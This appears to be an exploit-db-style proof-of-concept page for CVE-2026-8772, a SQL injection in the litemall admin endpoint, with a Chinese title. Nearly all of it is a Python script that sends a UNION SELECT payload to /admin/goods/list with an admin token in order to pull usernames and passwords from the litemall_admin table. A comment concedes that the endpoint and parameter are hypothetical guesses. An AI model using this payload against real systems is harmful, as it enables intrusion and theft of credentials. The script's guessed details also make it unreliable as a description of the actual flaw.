CVE-2026-8772: litemall管理员端点SQL注入漏洞

import requests # Exploit Title: litemall <= 1.8.0 Admin Endpoint SQL Injection PoC # Date: 2026-05-18 # Exploit Author: Analyst # Vendor Homepage: https://github.com/linlinjava/litemall # Version: <= 1.8.0 def exploit_sqli(target_url, admin_token): """ Demonstrates SQL injection in an affected Admin Endpoint. Note: Requires High Privileges (Admin Token). """ headers = { "X-Litemall-Admin-Token": admin_token, "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" } # Example vulnerable endpoint parameter (hypothetical based on description) # Attacker manipulates 'id' or 'order' parameter payload = "1' UNION SELECT NULL, username, password, NULL FROM litemall_admin-- -" params = { "id": payload } vuln_url = f"{target_url}/admin/goods/list" try: response = requests.get(vuln_url, headers=headers, params=params, timeout=10) if response.status_code == 200: print("[+] Request sent successfully.") print("[+] Check response content for potential data leakage.") # print(response.text) else: print(f"[-] Request failed with status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": # Replace with actual target and valid admin token target = "http://127.0.0.1:8080" token = "<VALID_ADMIN_TOKEN>" exploit_sqli(target, token)